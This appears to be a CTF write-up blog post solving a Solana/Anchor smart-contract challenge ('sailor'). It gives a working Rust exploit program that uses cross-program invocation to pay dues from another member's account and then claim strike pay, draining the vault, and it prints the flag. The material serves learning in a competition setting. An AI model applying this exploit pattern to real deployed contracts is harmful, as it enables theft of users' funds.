pub mod entrypoint {
use solana_program::{
account_info::AccountInfo,
entrypoint,
entrypoint::ProgramResult,
pubkey::Pubkey,
};
entrypoint!(process_instruction);
pub fn process_instruction(
program_id: &Pubkey,
accounts: &[AccountInfo],
instruction_data: &[u8],
) -> ProgramResult {
// Decode and dispatch instructions here.
todo!()
}
}
To call pay_dues(), strike_pay(), we use CPI via Anchor that is convenient.
https://www.anchor-lang.com/docs/cross-program-invocations
add to cargo.toml
sailor = {path = "../chall", features = ["cpi"], version = "0.1.0"}
First, we create ctx via CpiContext::new()
https://docs.rs/anchor-lang/latest/src/anchor_lang/context.rs.html#179-186
Next, just call
cargo build-bpf
copy /targeat/depoly/solve.so
lib.rs
#[cfg(not(feature = "no-entrypoint"))]
pub mod entrypoint {
use solana_program::{
account_info::AccountInfo,
entrypoint,
entrypoint::ProgramResult,
pubkey::Pubkey,
};
use anchor_lang::prelude::*;
entrypoint!(process_instruction);
pub fn process_instruction(
program_id: &Pubkey,
accounts: &[AccountInfo],
instruction_data: &[u8],
) -> ProgramResult {
let program = accounts[0].clone();
let user = accounts[1].clone();
let vault = accounts[2].clone();
let sailor_union = accounts[3].clone();
let rich_boi = accounts[4].clone();
let system_program = accounts[5].clone();
let cpi_accounts = sailor::cpi::accounts::PayDues {
sailor_union: sailor_union.clone(),
member: rich_boi.clone(),
authority: user.clone(),
vault: vault.clone(),
system_program: system_program.clone()
};
let cpi_ctx = CpiContext::new(program.clone(), cpi_accounts);
sailor::cpi::pay_dues(cpi_ctx, 100_000_000);
let cpi_accounts2 = sailor::cpi::accounts::StrikePay {
sailor_union: sailor_union.clone(),
member: user.clone(),
authority: user.clone(),
vault: vault.clone(),
system_program: system_program.clone()
};
let cpi_ctx2 = CpiContext::new(program.clone(), cpi_accounts2);
sailor::cpi::strike_pay(cpi_ctx2, 100_000_000);
Ok(())
}
}
lactf{anchor_cant_protect_me_from_my_own_stupidity}
'writeups' 카테고리의 다른 글
PBCTF 2023 - rev(move VM) (0) | 2023.02.20 |
---|---|
Idek CTF 2023 pwn - (baby blockchain 1,2,3) (0) | 2023.02.19 |
HackTM CTF Quals 2023 - smart contract(Dragon Slayer, Diamond Heist) (0) | 2023.02.19 |
RealWorldCTF 2023 - blockchain(realwrap) (0) | 2023.02.09 |
DiceCTF 2023 - pwn(Baby-Solana, OtterWorld) (0) | 2023.02.07 |